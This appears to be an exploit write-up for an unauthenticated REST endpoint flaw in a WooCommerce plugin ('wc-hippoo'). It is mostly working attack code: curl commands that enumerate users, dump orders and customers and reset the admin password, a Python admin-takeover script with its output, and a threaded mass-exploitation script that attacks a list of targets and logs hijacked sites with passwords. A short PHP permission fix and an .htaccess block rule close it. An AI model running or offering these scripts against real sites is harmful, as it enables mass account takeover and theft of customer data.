/wp-json/wc-hippoo/v1/ext/*

curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .

curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned123!"}'

curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"

curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"

#!/usr/bin/env python3
import requests
import sys
import json

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
    base = target.rstrip('/')
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = requests.get(users_url)
    if r.status_code != 200:
        print(f"[-] Not vulnerable: {target}")
        return False
    
    users = r.json()
    print(f"[+] Found {len(users)} user(s)")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = requests.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"[✓] ADMIN TAKEOVER: {target}")
        print(f"    Login: {base}/wp-admin")
        print(f"    Password: {new_password}")
        return True
    else:
        print(f"[-] Failed: {target}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} https://target.com")
        sys.exit(1)
    exploit(sys.argv[1])

python3 exploit.py https://poloss.ddev.site

[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
    Login: https://poloss.ddev.site/wp-admin
    Password: PwnedCVE2026!!

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def takeover(target):
    try:
        r = requests.post(
            f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
            json={"password": "MassPwned2026!!"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[✓] TAKEOVER: {target}")
            with open("pwned.txt", "a") as f:
                f.write(f"{target} | admin | MassPwned2026!!\n")
    except:
        pass

with open("targets.txt") as f:
    urls = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=20) as executor:
    for url in urls:
        executor.submit(takeover, url)

if (empty($user) || !$user->exists()) {
    return false; // 不是 NULL
}

if ($perms === false) {
    return false; // 未认证用户拒绝
}

RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]